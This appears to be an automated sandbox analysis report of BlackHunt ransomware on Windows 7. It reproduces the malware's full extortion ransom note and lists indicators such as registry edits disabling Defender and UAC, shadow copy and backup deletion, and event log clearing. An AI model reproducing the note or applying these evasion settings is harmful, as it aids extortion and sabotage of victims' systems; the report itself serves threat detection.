70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878

Analysis

max time kernel
165s
max time network
161s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:44

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General

Target

70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Size

707KB
MD5

c72591aaaf6d60f20f9cc4cb4110d2a8
SHA1

4888176e670b75ff227e10296e62f4113b2d0914
SHA256

70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878
SHA512

b438582dde261f5fc90b62f2b9db0c06db3f06dcc1bb220a43c241d87696db11ad916cd4287f57b86a2c769ff2ea7af60288c615e6b82b53f8132de86a3c6c64
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1c8Mvnh:6uaTmkZJ+naie5OTamgEoKxLWvSh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

\Device\HarddiskVolume1\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> EdgAxhzi8e5S5cDz </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2592	fsutil.exe
3052	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2084	wevtutil.exe
2860	wevtutil.exe
2464	wevtutil.exe
1504	wevtutil.exe
2344	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1300	bcdedit.exe
2964	bcdedit.exe
2172	bcdedit.exe
1408	bcdedit.exe

Renames multiple (2889) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2936	wbadmin.exe
912	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\K:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\V:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\B:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\R:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\O:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\H:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\I:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\L:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\G:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\Z:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\W:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\T:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\N:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\X:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\E:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\Y:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\A:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\P:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\M:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\S:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\J:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Recife	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-spi-quicksearch_ja.jar	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_zh_HK.properties	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT+9	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Gambier	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\feature.properties	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\MANIFEST.MF	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui_3.106.0.v20140812-1751.jar	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\#BlackHunt_Private.key	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\#BlackHunt_Private.key	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-sampler_zh_CN.jar	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-swing-tabcontrol.xml	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\#BlackHunt_Private.key	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Jayapura	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\#BlackHunt_Private.key	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\dailymotion.luac	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Vienna	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\#BlackHunt_ReadMe.hta	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\#BlackHunt_Private.key	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
